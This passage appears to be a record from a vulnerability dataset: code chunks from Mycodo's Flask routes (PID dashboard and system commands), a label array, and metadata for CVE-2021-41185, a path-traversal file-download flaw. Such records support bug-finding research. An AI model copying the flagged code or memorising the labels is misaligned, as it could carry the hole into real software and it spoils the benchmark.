seconds\"), \"success\")\n elif action == 'shutdown':\n flash(gettext(\"System shutting down in 10 seconds\"), \"success\")\n elif action == 'daemon_restart':\n flash(gettext(\"Command to restart the daemon sent\"), \"success\")\n elif action == 'frontend_reload':\n flash(gettext(\"Command to reload the frontend sent\"), \"success\")", " return redirect('/settings')", " except Exception as e:\n logger.error(\"System command '{cmd}' raised and error: \"\n \"{err}\".format(cmd=action, err=e))\n flash(\"System command '{cmd}' raised and error: \"\n \"{err}\".format(cmd=action, err=e), \"error\")\n return redirect(url_for('routes_general.home'))", "\n#\n# PID Dashboard object routes\n#", "def return_point_timestamp(dev_id, unit, period, measurement=None, channel=None):\n dbcon = InfluxDBClient(\n INFLUXDB_HOST,\n INFLUXDB_PORT,\n INFLUXDB_USER,\n INFLUXDB_PASSWORD,\n INFLUXDB_DATABASE)", " query_str = query_string(\n unit,\n dev_id,\n measure=measurement,\n channel=channel,\n value='LAST',\n past_sec=period)\n if query_str == 1:\n return [None, None]", " try:\n raw_data = dbcon.query(query_str).raw\n number = len(raw_data['series'][0]['values'])\n time_raw = raw_data['series'][0]['values'][number - 1][0]\n value = raw_data['series'][0]['values'][number - 1][1]\n value = '{:.3f}'.format(float(value))\n # Convert date-time to epoch (potential bottleneck for data)\n dt = date_parse(time_raw)\n timestamp = calendar.timegm(dt.timetuple()) * 1000\n return [timestamp, value]\n except KeyError:\n return [None, None]\n except Exception:\n return [None, None]", "\n@blueprint.route('/last_pid/<pid_id>/<input_period>')\n@flask_login.login_required\ndef last_data_pid(pid_id, input_period):\n \"\"\"Return the most recent time and value from influxdb\"\"\"\n if not str_is_float(input_period):\n return '', 204", " try:\n pid = PID.query.filter(PID.unique_id == pid_id).first()", " if len(pid.measurement.split(',')) == 2:\n device_id = pid.measurement.split(',')[0]\n measurement_id = pid.measurement.split(',')[1]\n else:\n device_id = None\n measurement_id = None", " actual_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == measurement_id).first()\n if actual_measurement:\n actual_conversion = Conversion.query.filter(\n Conversion.unique_id == actual_measurement.conversion_id).first()\n else:\n actual_conversion = None", " (actual_channel,\n actual_unit,\n actual_measurement) = return_measurement_info(\n actual_measurement, actual_conversion)", " setpoint_unit = None\n if pid and ',' in pid.measurement:\n pid_measurement = pid.measurement.split(',')[1]\n setpoint_measurement = DeviceMeasurements.query.filter(\n DeviceMeasurements.unique_id == pid_measurement).first()\n if setpoint_measurement:\n conversion = Conversion.query.filter(\n Conversion.unique_id == setpoint_measurement.conversion_id).first()\n _, setpoint_unit, _ = return_measurement_info(setpoint_measurement, conversion)", " p_value = return_point_timestamp(\n pid_id, 'pid_value', input_period, measurement='pid_p_value')\n i_value = return_point_timestamp(\n pid_id, 'pid_value', input_period, measurement='pid_i_value')\n d_value = return_point_timestamp(\n pid_id, 'pid_value', input_period, measurement='pid_d_value')\n if None not in (p_value[1], i_value[1], d_value[1]):\n pid_value = [p_value[0], '{:.3f}'.format(float(p_value[1]) + float(i_value[1]) + float(d_value[1]))]\n else:\n pid_value = None", " setpoint_band = None\n if pid.band:\n try:\n daemon = DaemonControl()\n setpoint_band = daemon.pid_get(pid.unique_id, 'setpoint_band')\n except:\n logger.debug(\"Couldn't get setpoint\")", " live_data = {\n 'activated': pid.is_activated,\n 'paused': pid.is_paused,\n 'held': pid.is_held,\n 'setpoint': return_point_timestamp(\n pid_id, setpoint_unit, input_period, channel=0),\n 'setpoint_band': setpoint_band,\n 'pid_p_value': p_value,\n 'pid_i_value': i_value,\n 'pid_d_value': d_value,\n 'pid_pid_value': pid_value,\n 'duration_time': return_point_timestamp(\n pid_id, 's', input_period, measurement='duration_time'),\n 'duty_cycle': return_point_timestamp(\n pid_id, 'percent', input_period, measurement='duty_cycle'),\n 'actual': return_point_timestamp(\n device_id,\n actual_unit,\n input_period,\n measurement=actual_measurement,\n channel=actual_channel)\n }\n return jsonify(live_data)\n except KeyError:\n logger.debug(\"No Data returned form influxdb\")\n return '', 204\n except Exception as e:\n logger.exception(\"URL for 'last_pid' raised and error: \"\n \"{err}\".format(err=e))\n return '', 204", "\n@blueprint.route('/pid_mod_unique_id/<unique_id>/<state>')\n@flask_login.login_required\ndef pid_mod_unique_id(unique_id, state):\n \"\"\" Manipulate output (using unique ID) \"\"\"\n if not utils_general.user_has_permission('edit_controllers'):\n return 'Insufficient user permissions to manipulate PID'", " pid = PID.query.filter(PID.unique_id == unique_id).first()", " daemon = DaemonControl()\n if state == 'activate_pid':\n pid.is_activated = True\n pid.save()\n _, return_str = daemon.controller_activate(pid.unique_id)\n return return_str\n elif state == 'deactivate_pid':\n pid.is_activated = False\n pid.is_paused = False\n pid.is_held = False\n pid.save()\n _, return_str = daemon.controller_deactivate(pid.unique_id)\n return return_str\n elif state == 'pause_pid':\n pid.is_paused = True\n pid.save()\n if pid.is_activated:\n return_str = daemon.pid_pause(pid.unique_id)\n else:\n return_str = \"PID Paused (Note: PID is not currently active)\"\n return return_str\n elif state == 'hold_pid':\n pid.is_held = True\n pid.save()\n if pid.is_activated:\n return_str = daemon.pid_hold(pid.unique_id)\n else:\n return_str = \"PID Held (Note: PID is not currently active)\"\n return return_str\n elif state == 'resume_pid':\n pid.is_held = False\n pid.is_paused = False\n pid.save()\n if pid.is_activated:\n return_str = daemon.pid_resume(pid.unique_id)\n else:\n return_str = \"PID Resumed (Note: PID is not currently active)\"\n return return_str\n elif 'set_setpoint_pid' in state:\n pid.setpoint = state.split('|')[1]\n pid.save()\n if pid.is_activated:\n return_str = daemon.pid_set(pid.unique_id, 'setpoint', float(state.split('|')[1]))\n else:\n return_str = \"PID Setpoint changed (Note: PID is not currently active)\"\n return return_str", "\n# import flask_login\n# from mycodo.mycodo_flask.api import api\n# @blueprint.route('/export_swagger')\n# @flask_login.login_required\n# def export_swagger():\n# \"\"\"Export swagger JSON to swagger.json file\"\"\"\n# from mycodo.mycodo_flask.utils import utils_general\n# import json\n# if not utils_general.user_has_permission('view_settings'):\n# return 'You do not have permission to access this.', 401\n# with open(\"/home/pi/swagger.json\", \"w\") as text_file:\n# text_file.write(json.dumps(api.__schema__, indent=2))\n# return 'success'" ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
PreciseBugs
{"buggy_code_end_loc": [9, 153], "buggy_code_start_loc": [1, 120], "filenames": ["CHANGELOG.md", "mycodo/mycodo_flask/routes_general.py"], "fixing_code_end_loc": [13, 155], "fixing_code_start_loc": [1, 120], "message": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit.", "other": {"cve": {"cisaActionDue": null, "cisaExploitAdd": null, "cisaRequiredAction": null, "cisaVulnerabilityName": null, "configurations": [{"nodes": [{"cpeMatch": [{"criteria": "cpe:2.3:a:mycodo_project:mycodo:*:*:*:*:*:*:*:*", "matchCriteriaId": "C8B4BD3A-4B47-41A4-84D2-B9E703773D53", "versionEndExcluding": "8.12.7", "versionEndIncluding": null, "versionStartExcluding": null, "versionStartIncluding": null, "vulnerable": true}], "negate": false, "operator": "OR"}], "operator": null}], "descriptions": [{"lang": "en", "value": "Mycodo is an environmental monitoring and regulation system. An exploit in versions prior to 8.12.7 allows anyone with access to endpoints to download files outside the intended directory. A patch has been applied and a release made. Users should upgrade to version 8.12.7. As a workaround, users may manually apply the changes from the fix commit."}, {"lang": "es", "value": "Mycodo es un sistema de monitorizaci\u00f3n y regulaci\u00f3n ambiental. Una explotaci\u00f3n en versiones anteriores a 8.12.7, permite a cualquiera con acceso a los endpoints descargar archivos fuera del directorio previsto. Se ha aplicado un parche y se ha realizado un lanzamiento. Los usuarios deben actualizar a la versi\u00f3n 8.12.7. Como soluci\u00f3n, los usuarios pueden aplicar manualmente los cambios del commit de correcci\u00f3n"}], "evaluatorComment": null, "id": "CVE-2021-41185", "lastModified": "2021-10-27T19:33:23.407", "metrics": {"cvssMetricV2": [{"acInsufInfo": false, "baseSeverity": "MEDIUM", "cvssData": {"accessComplexity": "LOW", "accessVector": "NETWORK", "authentication": "SINGLE", "availabilityImpact": "NONE", "baseScore": 4.0, "confidentialityImpact": "PARTIAL", "integrityImpact": "NONE", "vectorString": "AV:N/AC:L/Au:S/C:P/I:N/A:N", "version": "2.0"}, "exploitabilityScore": 8.0, "impactScore": 2.9, "obtainAllPrivilege": false, "obtainOtherPrivilege": false, "obtainUserPrivilege": false, "source": "nvd@nist.gov", "type": "Primary", "userInteractionRequired": false}], "cvssMetricV30": null, "cvssMetricV31": [{"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "NONE", "baseScore": 6.5, "baseSeverity": "MEDIUM", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 3.6, "source": "nvd@nist.gov", "type": "Primary"}, {"cvssData": {"attackComplexity": "LOW", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "baseScore": 8.8, "baseSeverity": "HIGH", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "privilegesRequired": "LOW", "scope": "UNCHANGED", "userInteraction": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "version": "3.1"}, "exploitabilityScore": 2.8, "impactScore": 5.9, "source": "security-advisories@github.com", "type": "Secondary"}]}, "published": "2021-10-26T15:15:10.533", "references": [{"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"}, {"source": "security-advisories@github.com", "tags": ["Issue Tracking", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/issues/1105"}, {"source": "security-advisories@github.com", "tags": ["Release Notes", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/releases/tag/v8.12.7"}, {"source": "security-advisories@github.com", "tags": ["Patch", "Third Party Advisory"], "url": "https://github.com/kizniche/Mycodo/security/advisories/GHSA-252r-94ph-m229"}], "sourceIdentifier": "security-advisories@github.com", "vendorComments": null, "vulnStatus": "Analyzed", "weaknesses": [{"description": [{"lang": "en", "value": "CWE-22"}], "source": "security-advisories@github.com", "type": "Primary"}]}, "github_commit_url": "https://github.com/kizniche/Mycodo/commit/23ac5dd422029c2b6ae1701a3599b6d41b66a6a9"}, "type": "CWE-22"}
151